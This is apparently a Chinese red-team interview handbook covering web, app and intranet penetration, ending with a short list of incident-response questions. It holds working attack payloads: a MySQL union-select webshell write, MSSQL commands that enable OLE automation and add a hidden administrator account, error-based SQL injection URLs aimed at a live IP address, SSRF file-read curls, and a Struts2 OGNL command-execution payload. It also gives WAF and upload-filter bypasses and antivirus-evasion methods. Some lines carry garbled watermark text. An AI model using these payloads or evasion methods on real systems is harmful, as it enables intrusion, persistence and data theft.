默安红队手册

Web渗透

1.知道哪些漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
sql注入:用户恶意构造的sql语句被提交到后台服务器,欺骗数据库执行

xss:用户提交的恶意js代码被带回到浏览器被执行

csrf:web应用程序在用户进行敏感操作时,没有对用户的合法性进行严格的校验

ssrf:由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制

xxe:XML外部实体注入攻击。当允许引用外部实体时,通过构造恶意内容,就可以导致任意文件读取、命令执行、内网探测等危害

文件上传:开发人员没有对用户可上传的文件做严格的过滤

文件包含:通过php的相应函数(include(),require()等)引入文件时,对传入的文件没有校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。

反序列化:程序没有对用户输入的字符串做严格的过滤,导致代码反序列化的过程被劫持,从而导致造成命令执行,getshell等不可控的操作

命令执行:服务器没有对执行的命令进行过滤,导致用户可以随意执行系统命令

最近挖到的比较多的有哪几种漏洞?目前为止,你觉得挖到过最有意思的漏洞是什么?

mysql注入GetShell 的几种方法?写shell的注意事项?写shell会用到什么函数?在不使用工具的情况下,如何使用语句写shell和执行命令(手注方面的)?被拦截了怎么办?

1
2
3
4
5
6
7
8
9
10
利用 Union select 写入WebShell
利用分隔符写入WebShell
利用log日志写入WebShell
需要具有以下几个条件:
1. 当前数据库用户具有写入权限
2. 知道目标网站Web物理路径
3. secure_file_priv 选项支持数据导出
有时候,即使当前数据库用户有了file权限,也不能成功将数据导出至自己想要的目录。因为高版本的MYSQL添加了一个新的特性 secure_file_priv,该选项对mysql导出文件做了限制,输出目录路径应该secure_file_priv一致,否侧文件操作不成功:

index.php/?id=1 union select 1,"<?php @eval($_POST[whoami]);?>",3 into outfile '/var/www/html/shell.php' --+

mysql提权方式?UDF提权注意事项?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
https://www.sqlsec.com/2020/11/mysql.html#toc-heading-26
UDF 提权
自定义函数,是数据库功能的一种扩展。用户通􏰁自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像调用本机函数 version() 等方便
反弹端口提权
实际上这是 UDF 提权的另一种用法,只是这里的动态链接库被定制过的,功能更多更实用一些:
MOF 提权
MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。
启动项提权
这种提权也常见于 Windows 环境下,当 Windows 的启动项可以被 MySQL 写入的时候可以使用 MySQL 将自定义脚本导入到启动项中,这个脚本会在用户登录、开机、关机的时候自动运行

注意事项
在MYSQL5.0以后,对注册的DLL的位置有了限制,创建函数的时候,所对应的DLL不能包含/或者\,简单的理解就是不能是绝对路径。
所以我们将DLL释放到system32目录,来跳过这个限制..或者放到盘符的根目录下通过c:udf.dll这种形式的写法来跳过限制。
 
后来发现原来只要把dll放到PATH这个环境变量所表示的任何一个目录下面,效果跟放到system32目录下面一样。

mssql注入Getshell的几种方法?写shell会用到什么函数?不使用工具的情况下,如何使用语句写shell和执行命令(手注方面的)?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
https://y4er.com/post/mssql-getshell/
https://xz.aliyun.com/t/8603#toc-12
xp_cmdshell拿shell
xp_cmdshell这个存储过程可以用来执行cmd命令,那么我们可以通过cmd的echo命令来写入shell,当然前提是你知道web目录的绝对路径

绝对路径写webshell
写webshell不难,但是找到绝对路径挺难的,总结了一下找绝对路径的方法

sp_oacreate写入webshell
需要知道绝对路径

如果xp_cmdshell被删除无法恢复,或者被过滤,可以使用xp_dirtree或xp_subdirs列出目录,通过sp_oacreate写入webshell
通过堆叠注入开启sp_oacreate

备份getshell
需要知道绝对路径
testdb是当前数据库
网上查到两种方法,一种是差异备份一种是log备份
差异备份20052008均没有复现成功
05会一直报少一个%>标记,08会多一个<%然后报错,如果有解决的大佬希望可以告知一下,提前感谢
log备份
xp_cmdshell被拦截了怎么办?
https://forum.butian.net/share/517
这里这么顺利是因为没有杀软,命令也都没有拦截禁用,下面说一下如果xp_cmdshell如果被禁用该怎么办。
## sp_configure函数
开启sp_configure函数的命令
1.EXEC sp_configure 'show advanced options', 1;
2.RECONFIGURE WITH OVERRIDE;
3.EXEC sp_configure 'Ole Automation Procedures', 1;
4.RECONFIGURE WITH OVERRIDE;
5.EXEC sp_configure 'show advanced options', 0;
执行系统命令 注意没有回显
下面的命令添加一个影子用户并加入管理员组
1.declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user hack$ 0r@nge /add';
2.declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 0r@nge$ /add';
还有其他的函数,这里就不一一列举了。

Oracle注入GetShell的方法?用到了哪些函数?

1
PwnUtilFunc

6.sqlmap跑表前三行的命令是什么?在没有堆叠的情况下,如何快速跑时延注入?(除了多线程)
7.SQL注入绕过?讲个实战
8.报错注入的常用函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
updatexml(有长度限制,最长32位) 
http://43.247.91.228:84/Less-5/?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
floor()
原理:floor,count,group by冲突报错
http://43.247.91.228:84/Less-5/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+
extractvalue()报错注入
原理:xpath函数报错注入,有长度限制,最长32
http://43.247.91.228:84/Less-5/?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
exp()报错注入
利用double数值类型超出范围进行报错注入
http://43.247.91.228:84/Less-5/?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+
利用!溢出报错注入
原理:利用bigint溢出
http://43.247.91.228:84/Less-5/?id=1' union select (!(select * from (select user())x) - ~0),2,3--+
NAME_CONST()
原理:利用数据的重复性。
http://43.247.91.228:84/Less-5/?id=1'union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+

盲注不回显怎么办?二次注入?

XSS的利用方式(不是检测)?网站有httponly怎么办?绕过?

1
2
3
4
5
6
7
8
9
10
11
12
13
1.利用PHPINFO页 (常用)
www.t00ls.cc% N7 u$ x5 f( j: P* ]) ^" C
读取_SERVER["HTTP_COOKIE"]
PHPinfo页面中的cookie包含了所有类型的cookies值,伪造对方身份访问同站的phpinfo页面可以读取到responseText中具有httponly属性的cookies

TRACE方法  (XST) - 低调求发展 - 老牌第三方民间网络安全交流平台! F% q4 v. Q- M
TRACE方法是HTTP(超文本传输)协议定义的一种协议调试方法,该方法使得服务器原样返回任何客户端请求的内容(可能会附加路由中间的代理服务器的信息),由于该方法原样返回客户端提交的任意数据,因此,可用来进行跨站脚本(XSS)攻击,这种攻击方式又称为跨站跟踪攻击(XST)
XST是利用XSS和HTTP TRACE方法的组合。例如
3.配合csrf (可以获得更多的信息)T00LS/ G" l# @7 w, ]8 B/ L1 o
通过xss读取网页源码分析网页功能架构,编写相应的js代码,通过csrf添加新用户或者执行其他的功能

4.apache httponly bypass
利用apache server head limit 8192字节限制,400状态页爆出httponly保护的cookie

XSS反弹到Cookie,但是后台在内网怎么办?

基于Beef-XSS+Sunny-Ngrok进行内网安全测试

SSRF?绕过?利用?用到的协议有哪些?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务。
远程利用方式
# 利用file协议任意文件读取
curl -v 'http://sec.com:8082/sec/ssrf.php?url=file:///etc/passwd'
# 利用dict协议查看端口
curl -v 'http://sec.com:8082/sec/ssrf.php?url=dict://127.0.0.1:22'
# 利用gopher协议反弹shell

1)http://www.baidu.com@10.10.10.10与http://10.10.10.10 请求是相同的
此脚本访问请求得到的内容都是10.10.10.10的内容。
该绕过同样在URL跳转绕过中适用。
http://www.wooyun.org/bugs/wooyun-2015-091690
2)ip地址转换成进制来访问
115.239.210.2616373751032
3)添加端口可能绕过匹配正则
10.10.10.10:80 案例:
http://www.wooyun.org/bugs/wooyun-2014-061850
4)用短地址(302跳转)绕过,案例:
http://www.wooyun.org/bugs/wooyun-2010-0132243
http://www.wooyun.org/bugs/wooyun-2010-0135257
5)利用xip.io和xip.name

XXE原理?利用?绕过?用到的协议有哪些?

1
2
3
4
5
XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执
行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
xxe漏洞触发的点往往是可以上传XML文件约位置,没有对上传的XML文件进行过滤,导致可以上传恶意的XML文件。

外部引用可支持http,file等协议,不同的语言支持的协议不同。

14.shiro反序列化漏洞原理?

1
2
Shiro使用CookieRememberMeManager这个类对Cookie中的remeberMe进行序列化 => 使用密钥进行AES加密 => Base64编码,最后返回客户端remebreme Cookie。在识别用户身份时需要对rememberMe进行Base64解码 => 使用密钥进行AES解密 =>Java反序列化。
漏洞成因:AES加密的密钥Key被硬编码在代码里,这意味着攻击者只要找到AES加密的密钥,就可以构造一个恶意对象。并对其进行序列化,AES加密,Base64编码,然后将其作为Cookie的remember Me字段发送。Shiro将其进行解密并且反序列化,即可造成反序列化漏洞。

15.诸如shiro、fastjson、struts2等RCE漏洞,执行命令被拦截时,怎么办?会不会修改利用工具的POC来绕过?

1
2
3
4
当redirect:http://www.baidu.com可以成功,但是工具不能执行时,
OGNL表达式
再次尝试redirect:${3*3}也能成功执行,直接运行下面的exp
redirect:${@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("ping hpn1e8.dnslog.cn").getInputStream())}

文件上传绕过?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
关闭JavaScript
修改JS代码
使用代理工具直接抓包改包
修改content-type
MIME类型对照表参考http://tool.oschina.net/commons/
修改后缀
使用大小写绕过不完善的黑名单
使用黑名单忽略但容器可解析的后缀(例如cer、php4、jspx等)
修改文件头,文件头参考:https://blog.csdn.net/weixin_43921596/article/details/88376947
空字节截断
IIS解析漏洞
垃圾数据填充(WAF为了保证速度,可能只会检测包的前1M)
设置多个filename字段 (早期版本安全狗缺陷)
更换filename字段位置 (早期版本安全狗缺陷)
替换为GET包(部分WAF只检测POST包中的参数)
删除实体里面的Conten-Type字段(某些WAF检测不到该字段就直接放行)
删除Conten-Type中“C”后面的字符串,再加上脚本的后缀 (WAF规则缺陷)
删除Content-Disposition字段里的空格 (WAF规则缺陷)
修改Content-Disposition字段值的大小写 (WAF规则缺陷)
Boundary后面加个空格或者其他可被正常处理的字符 (WAF规则缺陷)
Boundary边界修改为不一致(两段Boundary不一致使得waf认为这段数据是无意义的,但容器并可能并没有这么严格)
在文件名处换行(WAF规则缺陷)
使用多个Content-Disposition(在IIS的环境下,上传文件时如果存在多个Content-Disposition的话,IIS会取第一个Content-Disposition中的值作为接收参数,而如果waf只是取最后一个的话便会被绕过)
利用NTFS ADS特性(NTFS是Windows常用的文件系统格式。该格式支持交换数据流(Alternate Data Streams,缩写ADS)特性。该特性可以让多个文件流使用同一个文件名,便于系统管理和使用文件。这样,一个文件名可以包含一个主文件流和多个非主文件流。其中,主文件流可以以文件名直接访问,而其他文件流需要以“文件名:文件流名”进行访问。例如“Test.php::$DATA”可以直接生成Webshell“Test.php”绕过黑名单,当然若waf对filename匹配不当的话也可能会导致绕过。并且对于这类文件,普通的文件管理器只能看到主文件流,而无法看到其余的文件流,因此可以把一个或者多个文件隐藏到另外一个文件中。)
后缀名后加“.” (Windows特性,存储时会删除“.”)
超长后缀绕过后端重命名(若后端程序对上传的文件除后缀部分重命名,构造很多”.”、“-”等符号有可能不被waf拦截)
超长文件名 (文件名使用中文、特殊符号并最大程度的拉长)
文件名结尾加“\”(安恒某版本云waf规则缺陷)
17.密码爆破时,请求包或者参数被加密了怎么办?请求包中有token参数限制怎么办?
encrypt()搜索
打断点

APP渗透

1.平时如何做APP渗透的?
2.如何脱壳?常用什么工具?常遇到什么加密的壳?遇到各种加密的壳,该怎么办?
3.怎么反编译?反编译后发现全都是乱码该怎么办?
4.设置好代理后,发现抓包返回没响应怎么办?
5.IOS渗透?

内网

1.上线被拦截怎么办?如何绕过?

PS1免杀
总述:主要就是[Byte[]]$var_code换一种编码,然后改掉关键词,比如函数名,变量名。

无落地powershell免杀
总述:就是cs生成txt-shellcode代码,放到服务器web目录,然后目标执行powershell命令请求下载并执行。对于内容就是换一种编码来混淆,同时可以将编码部分分成几个部分然后再拼接,对于关键命令,可以使用Replace替换的方法。对于访问shellcode文件并执行的命令,可以采用混淆分割合并和Replace替换的方法绕过。不行就多分几段,多混淆几次,多替换几次。
Windows API 添加管理员用户 项目地址:https://github.com/newsoft/adduser
绕过杀毒添加上了一个用户,接下来就是常规操作,用打印机漏洞提权,利用sys权限切换到adminsitrator用户的桌面。
hash传递攻击 再或者就是hash传递,直接上adminsitrator的桌面。

2.Windows和Linux提权?提权工具被杀怎么办?

溢出提权
也就是用网上已经公开的exp进行利用,或者msf,cs自带的payload进行攻击,这点结合我们的systeminfo专门查找exp会更加高效。
第三方软件dll劫持

服务器权限配置问题
服务器路径权限可控
模糊路径提权
服务器错误权限配置
不安全的注册表配置
不安全的文件夹配置
MSI安装策略提权
计划任务

脏牛漏洞 SUID提权bash 提权Sudo提权
https://www.yuque.com/iceqaq/ff6ffl/zh94kg

3.常用什么代理工具?代理工具被杀怎么办?代理流量被拦截了怎么办?

EW Venom Neo-reGeorg dtunnel

4.使用多级代理时,proxifier如何设置?

5.如何抓取密码?mimikatz之类的工具被杀了怎么办?加壳改签名的话,常用什么工具来搞 ?常加什么壳,常用什么签名?

VMProtect UPX enigmaprotector
删除printf打印字符串
windows defender白名单

6.浏览器抓密码,不使用抓密码工具,怎么抓呢?

7.如何抓取别人登陆过此机器的痕迹?

8.如何内网横向?遇到安全设备拦截该怎么办?

9.当你拿到一个主机的Hash,如何使用RDP登录机器?登录后发现管理员在线,如何在管理员未察觉的情况下,界面翻转到管理员界面,然后观察管理员的行为?

10.如何绕过安全设备扫描服务?

11.Kerberoast攻击?

12.委派攻击?

13.多域如何打?

14.主机权限维持?域权限维持?

15.钓鱼邮件的附件(文件或压缩包)被查杀了怎么办?

应急

1.如何应急?

2.一些应急工具用没用过,如PCHunter?

3.日志被删了,该如何溯源?

4.内存马应急?